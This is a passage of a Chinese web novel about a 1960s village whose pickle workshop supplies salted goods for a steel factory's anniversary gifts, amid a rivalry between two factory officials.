有尤其是到了比较敏感的问题时，他更是再三强调，钟家岗养鱼只是为了供给自家村里的咸菜厂，并不直接对外售卖的，当然，如果有公家的单位带着批条过来购买，村里也是会正常卖给他们的，一切以国家利益为主。 “不止这块我们种了黑麦草，鱼塘边上我们也种了，那块的草要比这块地里的长的好很多，我带你们过去看看。”钟强先又领着他俩去了村里的鱼塘。 果然，围绕着鱼塘的一圈都种着黑麦草，而且这里的草长的比方才见到的粗壮了不知多少。 “鱼塘边上的土比较肥沃，种啥都长的特别好。” 以前没有种黑麦草的时候，村里人会见缝插针的种几棵蚕豆、芝麻之类的。水边的野菜也长的比其他地方的要肥美很多。 把整个村子都转了一圈，包括那个十分像小作坊，却手续齐全的咸菜厂，余嘉祥心里大概有了成算，他转头看向他表哥，他表哥还在嚼嚼嚼。 余嘉祥吐出一口气，暗道，算了，他跟个傻子有啥好说的。 “这些鱼啥时候能捕啊？” “等冬天会捕一部分，小的就放回水里继续养，大的就捞上来，村里先分了，然后一部分交公，剩下一部分拿到咸菜厂，做成咸鱼，卖到供销社去。” 农民啊，不论是种地还是养殖，都逃不了交公二字。 “托你们的福，咱们村的鱼草品质特别好，鱼吃的好，长的就快，等晚上，我去喊人捉两条上来给你们尝尝鲜。” 舍不得孩子，套不着狼，钟强先大方极了。 余嘉祥：“这可使不得。” 要是被人举报的话，他没啥事，估计他爹会被指控个纵容家人贪污受贿。 钟强先：“嗐……这有啥啊！你给我们村送了那么宝贵的种子，吃两条鱼怎么了？” 余嘉祥强调：“村长，种子是我爹单位送的，不是我送的。” 随即他沉吟片刻，接着道：“鱼可以吃，但是我们会付钱的，就当是我们跟村里换的鱼，怎么样？” 钟强先近几年的脑子变得好使了许多，他略微一思索就明白了余嘉祥的用意。 他在心里感慨道：不愧是领导家的孩子，考虑问题就是比他这样的大老粗周到。原本他都为自己的进步感到骄傲了，现在一看人家一个孩子，说话做事都如此周到，他又收了心，谨慎的认为自己还有很大进步的空间。 余嘉祥最终决定，要去钟莹莹家吃饭，毕竟是他同桌，去他家拜访然后留饭师出有名，要是留在村长家里，性质就变了。 钟强先要把他俩给送过去，余嘉祥说来的时候记住路了，要自己去。 钟强先看见他一直瞅他表哥，了然，俩人这是有事要说，不方便有外人在场，他笑着说：“那我就不送你们了，要是找不着路的话，你们随便敲一家的门，让他们来找我过去就行。” “谢谢村长！” 钟强先走后，余嘉祥看他表哥还在不停的吃吃吃，忍不住低声提醒道：“表哥，能不能别吃了啊？你忘了我们是来干什么的了？” 他表哥停止进食，随即一脸茫然的看着他：“我们不是来吃……来看黑麦草长的怎么样的吗？” 好险，差点回答错了！不过，钟家岗的果子是真好吃，谢文博看看手里紫色的桑葚，又瞧瞧树上的，他的嘴巴很没出息的又分泌了很多口水。 “唉～”余嘉祥没招了，就他表哥这个脑子，神仙来了也救不了，事已至此，先去他同桌家里混一顿饭吧。 到了吃饭的时候，又发生了一件让他十分尴尬的事情，他表哥贪吃，桑葚吃的太多，牙齿被酸倒了，连豆腐都咬不动了，一张嘴吃饭，那个口水就控制不住的溢出来，偏生他同桌家饭做的特别好吃，他表哥又馋的要死，桌上除了那个憨憨本人，其他人都挺尴尬的。 第94章 “要不，喝点水试试？” “我们村刚种桑葚的时候，我们也这样，一个个吃的嘴唇都紫了，到吃饭的时候，牙齿连块豆腐都咬不动。”钟莹莹试图替谢文博开脱。 搁火车上的时候看这人还挺稳重的啊，除了不爱说话之外，几乎没看出什么别的毛病。 怎么一到村里，身上的憨憨本质就遮眼不住了。 “嗯！” 谢文博对于钟莹莹的建议立马点头答应了，天知道美食当前，他却无福消受，该有多么痛苦。 钟绍华去灶房的小锅里舀出一碗温开水，递到谢文博手里，拍拍他的肩膀安慰道：“放心吧，多喝点水就没事了。” 谢文博听完理解成，多喝水他立马就能好，他猛猛灌了好几大口水，嘴里残留的桑葚甜味逐渐淡去，也不知道是心理作用还是什么，他感觉牙齿确实酸的没那么厉害了，虽然没有完全好，但是慢慢的扒饭，小心咀嚼，能尝出食物的本味了。 钟伟先和陈显英也松了一口气，女儿的同学第一次来家里做客，虽然主要目的是村里的鱼塘和鱼草，但是他们仍旧不想怠慢，免得之后回了学校，女儿和同学之间的关系变差。 晚上余嘉祥和谢文博留宿村里，住到了黄家。 黄有德在县里，钟明芳带着丽丽也去县里了，家里的房间就空置了下来。 在征得当事人的同意后，钟强先就把余嘉祥和谢文博安置到他小舅子家里去了。 抛开这趟来的主要目的不谈，余嘉祥和谢文博在村里玩的非常爽快。 俩人还和钟新澄成为了朋友，这俩有钱，钟新澄熟悉村里的每一个角落，他年纪小，嘴巴甜，很快就给这俩人哄的找不到北，恨不得把兜里的钱都掏给这个没有血缘关系、异父异母的亲弟弟。 等钟莹莹发现的时候，钟新澄已经把俩人的兜给掏干净了。 等想付给村长鱼钱的时候，他俩才发觉自己好像被个孩子给忽悠了，俩十几岁的，被不到十岁的忽悠住，有点丢人，俩人都没好意思往外说。 兜里没钱了，来村里想了解的事情全都弄明白了，余嘉祥就想带着傻表哥回家去，可是他好像连买火车票的钱也没了。 “钟莹莹，你能借我一点钱吗？” “你放心，等开学你回学校我就还你。” 余嘉祥在村里除了那个异父异母的‘亲弟弟’，就跟钟莹莹比较熟悉，所以他想借钱买火车票，也只能找她。 钟莹莹似笑非笑：“你的钱呢？” 余嘉祥死鸭子嘴硬：“来的时候没注意，钱带的有点少！” 钟莹莹：“那你表哥总该带够钱了吧？” 余嘉祥：“……” 他宁愿沉默也不愿意让别人知道自己的糗事。 钟莹莹：“……” “你看这是不是你俩的钱？”钟莹莹掏出一个黑色皮夹子，赫然是余嘉祥的钱包。 他不光把钱给了钟新澄，最后就连钱包都送给人家了。 余嘉祥不敢置信的看看钟莹莹，又看了看她身后红着眼眶，不舍的盯着钱包的小男孩。 余嘉祥故作大方道：“我跟表哥是看这孩子懂事，才给他送了点小礼物。”才怪，明明一开始只是想给孩子买点零嘴儿，哪知不知不觉间，兜里的钱竟被哄了个干净。 余嘉祥想哭，余嘉祥不好意思哭。 “你的钱你拿回去，他不能拿你的钱，会给他养成坏习惯的。” 钟莹莹边说边把皮夹子扔给了余嘉祥。 本身她的好大侄就不是什么良善之人，后天教育不跟上，长歪了不要太可怕。 钟莹莹已经教训过他了，所以他才会眼睛红红的。 小王刚赶到钟家岗就瞧见了这一幕，在心里长舒一口气，他领导儿子这同学不贪财，应当没什么大问题。 “嘉祥、文博，主任让我来接你们回家！”当着外人的面，小王要给领导的儿子留面子。 余嘉祥大惊：“王叔，你怎么来了？” 他们的事情这么快就暴露了吗？想到自己骗人开介绍信一事，余嘉祥有点不敢直视小王的眼睛。 小王微微一笑：“余主任找你有事，所以让我来接你们！” 余嘉祥腹诽：能有什么事？除了想教训他，还能干什么？ “王叔，回家可以，但我有件事情想和你说。”余嘉祥示意小王附耳过来，接着他小声不知道嘀咕了些什么，就见小王皱着眉头，最后还是点头同意了。 小王来了，小王又走了，唯一留下的只有小王钱包里的钱。 余嘉祥跟谢文博又在村里待了几天，整日不是撵鸡逗狗，就是到菜园子里摘各种新鲜瓜果吃。 村里知青有些烦他俩，去跟村长告状，说他们养的鸡被这俩人给吓得都不下蛋了。 “村长，你看他们！” “好了，好了，人家是客人，你们再忍一忍。” 财神爷那是能能得罪的吗？这群知青摞在一起都比不上人家一个，如果换成第一批来的知青，比如周岱，那钟强先可能还会犹豫下，现在这些，他们忍不了，最好自己滚蛋。 “这俩啥人啊？”莫不是上辈子救了村长的命，让他这么护着他们。 钟强先故作神秘道：“以后你们就知道了。” 这群心来的都是大嘴巴子，一点也不可靠，事情没有办成之前，钟强先不想让这些乱七八糟的人参与进来。 何姓两兄妹对这俩外来的羡慕的很，何梦婷眼里闪着星星：“哥，我们什么时候能像他们一样，在村里也横着走啊？” 何止尧揉了揉她的脑瓜子：“你知道什么叫做横着走吗？那是地主老财才干的事情，你想被抓去批斗啊？” 何梦婷怕了：“我不想……我只是想像他们一样、风风光光的。” 人啊，一旦过上了好日子，就忍不住追求更多。 何梦婷待在钟家岗这么久，早就忘了以前在黄家岗，被大伯一家欺辱时发下的誓言。 当时她发誓，只要能够离开她大伯家，跟哥哥独立生活，就是讨饭她也愿意，现在她跟着哥哥在老万家过着安逸的日子，干活还是要干的，但是老万自己也干活，从不会说像使唤仆人一样使唤他们兄妹两个。 何梦婷觉得自己好像忘本了。 她哥自从开始上学后，整个人特别的努力，只有她自己一直找不到目标，现在更是对陌生人产生了嫉妒心理，何梦婷很是苦恼。 她想不出个所以然来，最终决定先干活吧，给村里多干活，多拿公分、多分粮和钱票总是对的。 小王走的快，回的也快。 再回来的小王不再是他一个人，他身边还跟着一个中年男人，仔细一看，眉眼和余嘉祥还有谢文博都挺像的，只是和谢文博要更像一些。 “爹！” “舅舅！” 余嘉祥和谢文博两人看见来人都迎了上去。 谢军佯装冷脸：“你们两个的胆子怎么这么大？都敢不知会大人一声骗介绍信出市区了？” “有没有想过，万一要是遇到骗子，拐子，给你俩拐黑煤窑里挖矿去，到时候你们怎么办？哭都哭不出来！” 余嘉祥暗道：拐子没遇见，骗子却真遇到了，还是个小骗子。 他心里觉得他舅舅说的有些严重了，自己都多大人了，哪里还能遇上拐子，人家跟他差不多大的女生，放假都能自己坐火车回家了，他一个男子汉怕个啥？ 心里吐槽，面上他还是装作一副他知错了都样子：“舅舅，我是听同学说，他们村有咸鸭蛋卖，而且过年好像还有咸鱼，想到你最近正为工人们的节礼发愁，所以就想着过来先看看能不能帮上你的忙。” “我来的时候还叫表哥了呢，表哥长的那么壮，没人敢拐我们俩的。” 表哥，对不起了啊，死道友不死贫道，比起自己挨骂，余嘉祥认为还是把他表哥推出去挡抢比较好。 “文博？” 谢军的注意力成功被转移。 “爹！啥事？”谢文博憨憨的应了一声。 看着自家的傻儿子，谢军不知道该说些什么，只能挥挥手：“没事，一边玩去吧！” 谢文博听见他的话，果真嗷的一声走开了，谢军的头更痛了。 他这么聪明一个人，娶的媳妇也不是个傻的，怎么生个儿子就这么憨，要不是儿子和他长的实在像，他都怀疑是不是医院给抱错孩子了。 谢军此次过来是有正事，他很快就放过两个孩子，去找村长了。 最后谈完事情出来的时候，钟强先龇个大牙，笑的一整个合不拢嘴的状态，一看就是遇上了天大的好事。 谢军这次把儿子和外甥都带回了家，钟家岗又恢复了往日的平静。 不对，还是有些许不同的。 村里人都在加班加点的赶工期，谢军在他们村下了一笔大订单，还说如果合作的好，以后的单子都交给他们来做。 金娃娃们走了，钟强先每次遇到钟莹莹，就会拿之前看余嘉祥的那个眼神看她，他认为钟莹莹是他们村自己的福星，尤其是神叨叨的老万，对钟莹莹的态度也很好，钟强先更认为钟莹莹是他们村极为特殊且重要的存在。 钟莹莹被他盯的有些毛骨悚然，为了避开他，直接一连好几天都没出门。 第95章 钟家岗本村的各种菜已经投入腌制，包括攒下来的鸭蛋，鸡蛋等等。 但是这还不够，接了谢军的单子，村里现有的货物数量已经不够了，更别提等到秋冬季节，他们还要给本县的供销社供货。 谢军的单子不知道能不能一直是这个数量，他们不会因为眼前的利益，而抛下赖以生存的根本。 原料不够就去附近的村子收购，附近村子也买不齐，那其他镇子也过去瞧一瞧，总能买到的。 钟绍华担任了外出采买的负责人。 因为钟伟先会修车，后面跟窑厂的人学了学，把钟绍华也给教会了。 去年家里的钱结余比较多，就让钟绍华去把驾驶证拿了下来。 可惜的是钟家岗暂时还买不起小货车，但是钟强先相信，只要这次的单子成功交货，赚得多利润应当够他们买小货车了。 此次外出，钟绍华开的车子是从吴家村借的，几年灾害，吴家村的村长一直带领村民向着钟家岗看齐，避开了不知道多少坑，再加上他们村比较富裕，那几年的生活甚至比钟家岗家庭条件差的村民还要好。 吴村长有意和钟家岗交好，曾主动提及钟家岗如果需要用车，可以去他们村借，他可以帮忙协调。 这次村里真有事，钟绍华也真去借了。 “绍华，你开车小心点啊！” “我会小心的。” 钟绍华的兴奋是溢于言表的，这个时代，没有哪个人摸到汽车是不兴高采烈的。 “强先，你们村这次接了多大的单啊？都要出镇去收购原料了？”吴村长在暗戳戳的打探钟家岗的秘密。 钟强先也不傻，闷声发大财，这种事情，往外说了，指不定就有哪个红了眼睛的，看你不爽，在里面搞破坏。 面对吴村长的问询，他含糊其辞道：“也没多少，就比平常多了一点。” “反正有单子大家一起做，到时候还要从你们村买坛子和缸，这次你可要再给我优惠一些啊！” 双方合作，互惠互利。 吴家村也能从中得利，吴村长不好再继续强人所难的打探消息，只是故作矫情的嘟囔道：“还要便宜啊？再便宜都要倒贴给你们做喽～” 钟强先用肩膀碰了碰他：“哪会哦～最多少赚一点嘛，你们村家大业大的，小货车都有好几辆，我们村一辆都没有，想出去采购点东西，还要问你们借嘞～” 吴村长一下子就明白他话中有话，开口问道：“你们是想买车子吗？” “是有这个想法，但是钱有些不凑手，而且批条不一定能拿下来，想到你们村经验多，这不就过来取经了吗？” 吴村长：“这个事不好办啊！” 他们村要不是给县里免费供了一批砖头，买小货车的事也压根轮不到他们，钟家岗想买，难啊！ 钟强先：“要是好办我也不用来找您了，老村长，您吃过的盐比我吃过的米还要多，您一定有办法的对吧？” 吴村长的年纪就比钟强先的爹小了几岁，严格来说，算是钟强先上一辈的人物。 听到钟强先的恭维，吴村长感觉身心舒畅，沉思一会儿后，话锋一转道：“不过也不是没有办法？” “旧车你们能接受吗？能开，就是外面有点破，还可能需要修一修，换些零件。” “当然，价格也比新车便宜的多。” 吴村长怕钟强先不愿意接受，毕竟谁买车不想要新车，虽然价格高，但是开回去倍儿风光有面子，买旧车的话，就显得有些不伦不类。 但钟强先是谁啊？面子算什么东西，能得到实在的好处才是他想要的。 他一脸惊喜道：“当然能接受了，我巴不得买旧的呢！” 村里那么穷，能省则省，车子能跑起来，能拉货就行，他哪管那么多。 “那就好。” “我说的车子，是县委淘汰下来的，时间挺久了。县里要换一批新车，就把这批老古董拿出来处理了。”这也是吴村长说钟家岗想弄买车批条的事情不好办的原因。 上面分的购买名额城里的单位内部就消化掉了，哪里会分给下面的小厂子。 “你把钱和票准备好，这事我来帮你去谈。”虽然是旧车，但也有很多人盯着呢。 钟强先在县委没背景，去了估计连人家的大门都进不去。 吴村长想卖钟强先一个好，只要钟家岗以后有什么意外得来的消息能够通知他们一声就好。 他一边想，一边仔细打量了钟强先一遍。 晒的黝黑油亮的皮肤，打着补丁的半截袖和黑裤子，以前写满了老实憨厚的脸，这两年变了一些，看起来比以前聪明了，但也没什么特殊的地方。吴村长看不出他咋就能一次又一次的带领钟家岗的村民渡过难关呢？ 吴村长看不出，但他知道，这里面必然有他不知道的事情在。 看不出就看不出吧，当个学人精，好处拿到手就行。 在钟强先跟着去了吴家村借车的时候，钟莹莹才从家里走了出来，帮村里人一块去地里摘黄瓜和辣椒。 钟家岗的小咸菜里面卖的最好的就是腌黄瓜和油辣椒，泡椒卖的也不错，但是油辣椒有油，大家都缺油水，所以更愿意买这个。 钟家岗的土地肥沃，菜地里的土每年鱼塘清塘的时候，都会将塘底的淤泥甩到岸边晒干，然后开春的时候砸开混到地里的土里面去。 晒干的塘底泥养分充足，又经过暴晒，其中不好的成分也蒸发掉了。 在上面种菜，茎干会长的十分粗壮，菜叶子也会比种在其他地方的肥厚。 钟莹莹提着个篮子，去摘的是村里公共菜地里的黄瓜，钟新澄也被她按头过来干活了。 都忙着呢，家里的小孩也不能让他闲着喽，就算活干不了多少，能控制住他们不要到处搞破坏就行。 “一个辣椒、两个辣椒……三个、四个、五六个……”钟新澄一边干一边数，他越干越无聊。 边上的何止尧带着妹妹正老老实实的干活呢，钟新澄打起了歪主意，一会儿趁人家不注意，从人家篮子里偷根黄瓜，一会儿又去偷根辣椒，干的都是毫无意义的事情，兄妹俩都懒得理他。 没人理他，他反而越干越起劲了，直到他要给人家的篮子清空时，一只手从背后揪住了他的耳朵。 “呜呜呜……疼……姑姑，别拽，我不敢了～”方才还皮的上蹿下跳的小孩，一下子变成被五指山压在手下的可怜虫，不知情的人看到，还真会以为他受委屈了呢。 钟莹莹：“辣椒摘不完，村里赚不到钱，以后你只能天天吃代用粮，你那么喜欢吃啊？那等晚上回家我就做给你吃！” 钟新澄一听这话，脸都绿了，他才不想吃代用粮，他要吃白面馒头。 “姑姑，我错了，我这就好好干活。” 涉及自己的口粮，钟新澄这次的道歉是真心实意的。 “人家都老实干活呢，你跟我道歉干嘛？刚刚你辣椒还有黄瓜从哪里拿的？”钟莹莹声音微微拔高。 钟新澄撅着嘴，跑到何家兄妹俩面前：“止尧哥，梦婷……对不起，我不该闹你们的。”干坏事被抓包，道歉道的多了，钟新澄也习惯了。 何止尧兄妹俩大方的接受了他的道歉，没人搞破坏，众人干活的进度加快了许多。 太阳都没落山，地里长的差不多的黄瓜和辣椒都被摘了下来，送到咸菜厂的那个院子里去了。 钟家的小狗阿黄尽忠职守的看着咸菜厂的大门，这半年来，它吃的多，动的也多，很快就长成了一只威风凛凛的大狗。 因为它不吃除钟家人外的人喂的东西，见了陌生人还会狂吠，也不出村子，村里人的生活水平也提了上来，陈显英不在担心阿黄出门会被人捉去吃肉，便放心的解开它的禁锢，让它在村子里跑。 阿黄也乖的很，除了在钟家，就是去咸菜厂和粮仓守着，仿佛它知道那里存放的是全村人最宝贵的财产似的。 “阿黄～”钟新澄一见自家的狗子，就把拎着的菜篮子丢到地上，跑过去抱着狗脖子亲热去了。 陈显英从咸菜厂的院子里走出来，无奈的将篮子捡起，拿到了院子里。 咸菜厂成立那么多年，咸菜腌的最好的还是陈显英。 虽然配方一样，但经过其他人的手做出来的，总比她做的味道要差许多。 钟莹莹盯着她娘手下的每一个动作，很确定自己没有漏看任何一个步骤，可她百思不得其解，为什么她帮忙腌的菜都会‘生花’，也就是长霉呢。 陈显英看她眼睛也不眨的盯着咸菜坛子，一把护住坛子道：“这些你可不能碰啊！莹莹你出去帮你嫂子他们洗菜去吧！” 钟莹莹有些无语，她娘至于那么防着她吗？她又不会对咸菜做什么。 陈显英认为很至于，她一开始也以为自己生的孩子会遗传自己的手艺，可教了几次后，她就彻底放弃了，这孩子手像有毒一样，做腌菜做一次‘花’一次，就没一次成的，偏生她还就喜欢干这些事情。 以至于陈显英看她对自己手里的半成品腌菜想下手时，就会万分紧张。 第96章 腌油辣椒做起来非常简单，只需要把洗干净的辣椒切成两半，晾干水分，然后再放盐，杀一杀水，直接放进坛子里，码整齐。 再起锅烧油，将花椒还有其他材料放油里煸炒出香味，再加一些糖提鲜，可以的话，熟酱汁也能加一些，最后撒点白酒，增添香气，煮开后，把料汁晾凉，再将料汁倒入放辣椒的坛子里，封好坛口，放进地窖里面就行。 油辣椒因*为有油，保存时间不是很长，一般都是买回家立马就得吃，陈显英做的油辣椒的量是所有腌咸菜当中最少的，但拿出去卖的时候也是卖的最好的。 夏天来点油辣椒，再来点饭，都不用做菜了，就着油辣椒都能吃好几大碗饭，干吃也行，除了有点辣，没别的缺点。 钟家岗的小孩子都盼着村里的油辣椒卖不出去，这样他们就能留下自己吃了。 可惜的是，供销社的人都是识货的。 这么好的东西，就算顾客不买，他们也会采购些回去内部分掉，都是吃公家饭的，不缺这一点钱。 “都别盯着看了，村长说，等腌完了，会留两坛子给你们吃的。” 瞅着一个个的，馋的口水都要流下来了。 其实钟莹莹也挺馋的，在学校可吃不到这好东西。 搞完油辣椒陈显英又开始做腌黄瓜，幸好材料都是村里人帮忙准备好的，她只负责把控方向和调味，不然这么多坛子东西，她就算是累死，也干不完。 “显英，我们当中就属你手艺最好，你说为啥，一样的做法，咱们做出来的就是不一样呢？”不止钟莹莹有这个困惑，村里其他妇女一样有这个疑惑。 尤其是老楚媳妇，一开始她总觉得是不是陈显英有什么独门秘方没有教她。 一次次的试探观察后，发现还真就不是配方的问题。 陈显英不知道多少次在人前做腌菜了，人家大方的很，没一点藏着掖着的想法，当然这个态度也仅仅只面对钟家岗的村民，如果有外人想学，她是万万不可能教的。 村长钟强先还特别强调了，如果村里有人敢把陈显英的配方教给外村人，一旦被他发现，直接逐出村子。 在一个基本全由钟姓组成的村子里，村长的权利还是很大的，所以，至今没有人敢外泄配方。 其实泄了也没啥用，他们想复制钟家岗的成功之路，首先就得去办个营业执照下来。 如今上面对于这种商业行为管控的极为严格，本县已经有了一个咸菜加工厂，再让他们再开一个，那不成小资本了吗？没人会冒风险给他们办。 所以就算他们费功夫拿到配方了，也只能做了自己吃，而且会这样做的人也不会买钟家岗的产品，他们影响不到钟家岗的销量的。 晚饭是钟莹莹做的，就简单的煮了粥，配上刚腌好的辣椒，辣椒下饭，白粥解辣，简简单单又是一餐。 吃完饭，洗完澡躺在床上，她就在想下一步要干什么。 村里的一切都在步入正轨，只要没有外力侵袭，按照这个发展速度，等到未来，他们村就不可能再会是那个‘远近闻名’，闻的是臭名昭著的贫困村。 在能和吴家村碰一碰的情况下，村里人不乱生一大堆孩子，优生优育，下一代只会发展的更好，目前已经有这个兆头了。 村长的儿子，识文断字，虽然学历不行，但一直跟在他身边做事，不出所料会是钟家岗下一任村长。 老楚家，虽然儿子是个傻的，但是也有自理能力，在村里好好干，他姐夫还是村长儿子，没人会亏待他，他另一个姐姐楚秀秀，跟钟莹莹一块在读高中，等考上大学回来，就是板上钉钉吃公家饭的人选，这一家子没个拖后腿的，怎么会起不来？ 老万家，虽然原先只有他自己，现在收养两个孩子，何止尧那么努力的学，应当不会差到哪里去，何梦婷有些迷茫，但是干活也很努力，这俩孩子都是知恩图报的，老万以后的生活不会差，无论前世还是今生，老万的日子过的都挺滋润。 村里的其他家庭，比如钟刘先家，毛蛋在学校读书也不错，他家孩子少，去年也余下不少钱。 就钟莹莹自己家，除了钟新澄这个好大侄偶尔掉链子，其他人的努力都看到回报了。 钟明芳换了丈夫，丽丽换了家庭，没吃上辈子的苦头，钟伟先和陈显英都还好好的活着，钟明月和婆家关系融洽，钟绍华也没陷入各种苦难，一个又一个的和媳妇造孩子，只养一个，让他有时间提升自己，努力赚钱，给家人更好的生活。 …… 钟莹莹想要做的事情，似乎都已经完成了。 她长期目标就是苟住到开放，把小金库换成资金，然后躺平摆烂。 那近期的下一步目标是什么呢？她感觉自己好像比何梦婷都还迷茫了。 钟莹莹：算了，不想了，走一步看一步，当下最重要的是把她同桌舅舅下的单子早日给处理好，给村子挣钱。 钟绍华开车回来时，车斗里装了满满一车斗各种菜式，有黄瓜辣椒，有豆角，青菜……角落里还用稻草垫着，装了几筐鸭蛋。 今天村里不腌菜，而是腌鸭蛋。 谢军一下子要上千颗咸鸭蛋，鸭蛋的腌制时间要比腌菜的时间要长一些，货拿回来不早点处理，鸭蛋会变得不新鲜，腌制出来后味道也没那么好。 腌鸭蛋要用新鲜的，才更容易出沙。 腌鸭蛋用的黄泥是从水坝下面的河道边上挖的，那里的泥干净又大块，尤其是之前干旱的时候，好挖的不得了，用手轻轻一推，就能从地上挖出一整块土，因为土壤干燥，很容易就能把它给敲碎。 用这种泥混合着盐巴还有其他调味料，加上水搅和匀了，把咸鸭蛋放进调制好的泥浆里滚一圈，然后放进坛子里，依次重复以上步骤，制止把所有的鸭蛋都给处理完毕，再将剩下的泥浆给分开倒入坛中，最后封口，等待月余鸭蛋就算腌制成功。 吃的时候掏出来，把泥巴洗干净，放水里煮熟就行。 从吴家村定制的粗瓷坛子，质感很粗糙，但是个头上却很小巧精致。 没办法，谢军给员工定制的福利，总不能每人给装一大坛子吧？厂里暂时还没那个实力。 这种小坛子就刚刚好，一坛子放十来个鸭蛋，高级工和技术工种发这种，普工就发基础的腌菜，劳动积极分子和领导们有咸鱼，凭借着谢军自己那天尝过的味道，他觉得钟家岗的产品能将厂里的员工折服。 “老谢啊，怎么样？员工福利的事情你谈好了吗？” 临近厂庆，厂里好多人都在等着看谢军笑话，尤其是谢军的死对头赵得金，更是直接过来贴脸开大。 “你可是下了军令状的，可别临了再跟厂里说你办不了，那你这个副厂长的位置……” “这就不牢你费心了，我既然答应了，那就一定能办好。” “行，那就等谢副厂长好消息了！” 赵得金嗤笑一声，暗骂谢军打肿脸充胖子，现在各个单位都资源紧张，他上哪去采购厂庆要发给工人的福利？凭借着他那个当官的姐夫吗？可是据他所知，他姐死了后，那个姐夫就再娶了，娶的还是个年轻漂亮的小媳妇。 新人已经进了家门，人家还会尽心尽力的照顾这个前小舅子，还是个背景不太干净的小舅子吗？不踩他两脚划清界限都算人家有情有义了。 他们厂原先是谢家的私产，公私合营后，当时谢家的掌权人，也就是谢军他爹直接把厂子捐了，给他儿子换了个副厂长的位置。 厂里一直没厂长，谢军这个名义上的副厂长，实际上的厂长，就这么代管了好多年，直到赵得金被升上来，夺了谢军大半的权利，两人就开始竞争厂长之位。 谢军独揽厂庆之事，甚至还立下了军令状，和赵得金对赌，事情办成了他留下，赵得金走，事情办不成，他走，赵得金留下。 钟家岗的生产活动并没有因为谢军这边的剑拔弩张而受到影响，一切都在有条不紊的进行着。 很快，要交货的那天到了，谢军带着人开着货车直接驶进了钟家岗拿货。 “谢同志，坛子易碎，你们路上慢些开！”钟强先为了这批货操碎了心，单单是包装上，他就费了很多心思。 陶瓷坛子易碎，他就喊村里人砍了竹子，挨个做了骨架加固；害怕碰撞，他又在坛子外面裹上了稻草，每个坛子都包裹到严严实实。 要是这样谢军路上还能给弄碎，白费自己的苦心，钟强先要气死。 那些咸鱼也挺让他心痛的，都是半大的鱼，非常规办法做出来的，因为工期紧张，所以腌完之后用松柏枝熏了好久，直接给熏了个半干晒出来的。 如果不是要的急，他们再长半年，至少还能长大一倍，得亏数量不多，不然钟强先都不想卖了。 “放心吧，不会碎的。”谢军对这批货的在乎程度也非钟强先所能猜测到的。 这可关乎他的职业生涯是否就此打住，他会比谁都要小心，就连拉货的司机都是他精挑细选出来的自己人，他还再三叮嘱了，路上一定要小心慢开。 第97章 “谢军，你就拿这个来敷衍大家啊？”赵得金几乎要笑出声来。 不知道从哪个野鸡村子里拿的货，还信誓旦旦的当宝贝一样，他也是吃饱了撑的才会把谢军当成对手。 “啊对对对，你说的都对！” 谢军敷衍的冲赵得金摆摆手，然后转身吩咐厂里的搬运工小心些把坛子搬下来，放到大礼堂去。 “哼～不知好歹～我看你怎么收场！” 见谢军不识趣，赵得金气哄哄的走了。 “同志们，正值钢铁厂三十周年厂庆，在此我代表工厂向你们表示由衷的感谢，因为你们，我们厂才拿到了去年的优秀进步奖……好了，天气炎热，我就废话不多说了，接下来直接进入咱们今天的正题！” “有请咱们的劳动积极分子，还有先进技术工人上台领奖。” ‘啪啪啪啪啪啪啪啪啪啪……’ 台下顿时响起连绵不断的鼓掌声，随着一个又一个获奖的职工上台，底下的工人也开始喧闹起来。 “哎，你说咱们谢副厂长会给咱们发什么厂庆礼啊？我今早看着厂里的司机拉回来好多小坛子，也不知道里面装了些什么？” “谁知道啊？反正我是有点不太看好。” 有人还没见到实物呢就已经开始唱衰了，他早上的时候，见那坛子粗糙的很，他觉得里面不会装什么好东西。 再说了，赵副厂长也说了，谢副厂长现在就是病急乱投医，瞎胡闹呢～ 有人叹了一口气道：“反正不管怎么样，只要能把厂庆礼顺利发下来就行，有总比没有强！” 去年一整年都在赶工期，忙的连家都没时间回，工厂拿了优秀进步奖，总不能把他们这些抛头颅洒热血的职工们给忘了吧？ 很快，所有获奖人员均已站到台上。 谢军拿着喇叭，大声道：“你们也知道，近两年国家的困难，所以厂里找这批物资找的那是分外困难。” “如果要是和三年灾害前比，那指定是比不过的。” 台下的职工们一听这话，心里都是咯噔一声，感觉到很不妙。 谢军不管他们心里怎么想，他接着又道：“虽然今年的厂庆礼价格上要稍微低一些，但是，我敢保证，今天的厂庆礼是这些年里味道最好的一次，大家尝了就知道！” 厂里每个职工都要发到，而谢军的预算又很低，在市里哪能买到什么好东西。 去其他厂子，这么大的量，一时之间，人家不愁卖的情况下，也不会愿意卖给他。 “王三，熏鱼干一条，钟家岗秘制酱菜一坛！” “周明，流沙鸭蛋一坛，钟家岗秘制酱菜一坛！” …… 谢军给钟家岗的咸鸭蛋还有咸菜、咸鱼都改了个稍微好听一些的名字。 虽然拿到手里确实寒酸了些，但是输人不输阵，起码名字说出去不能丢了面子。 再说了，谢军敢保证，他们只要拿回家尝了他发下去的东西，心里绝对不会再有什么异议的。 他自己这次去钟家岗，还找钟强先以私人名义，从他手里换了不少钟家岗特产，好多是这次厂里采购中没有的。 那个腌油辣椒，钟强先说保质期短，让他拿回家尽快吃了，他第一个开坛的就是那个，果然没让他失望，也不知道人家怎么做的，那辣椒就是跟外面卖的不是一个味。 看着油汪汪的，实则油很少，而且吃起来是一种非常清爽的辣，辣中还带着一丝微酸微甜，配上米饭或者馒头，都香的很，谢军最爱的还是配上面条一块拌着吃，特别开胃，他一顿能吃两大碗。 拿到厂庆礼的众人说不出心里是什么感觉，说失望吧？好像早就预料到了，说喜悦吧？这份厂庆礼和以往相比真的有些……上不得台面。 很多老员工心底都在感慨，谢家终究是大不如前了，要是老厂长在，哪里会有如今的局面。 有一些更是直接把心里的那杆秤，彻底的偏向了赵得金。 他们认为，赵得金才是正儿八经、根正苗红的出身，虽然谢军从出生就在厂子里摸爬滚打，但正是这个出身，让他低人一等。 “都散了吧～都散了吧～” 好好的一次厂庆，就在众人的索然无味中结束了。 因着厂庆，工厂直接停工一天，所以工人们都拎着东西直接回了家。 路过有人问：“哟！你们厂今年发了什么奖品啊？这么大一坛子？” 厂里员工都有些不好意思开口，他们嘴上说着：“没发什么，还跟以前一样。”然后飞快绕过邻居，回到家里，随意的把咸菜坛子丢到桌子上，往板凳上一坐，便啥也不想管了。 “怎么了？今天一到家就愁眉苦脸的，不是说今天厂里发福利吗？”家里的妻子不解的问。 工人便随手一指：“喏～东西不是在那呢吗？就一坛烂咸菜！” “啥？就发一坛咸菜？”妻子见那么一大坛子，一开始还以为是什么好东西呢，听到是咸菜，便立马觉得东西有点少了。 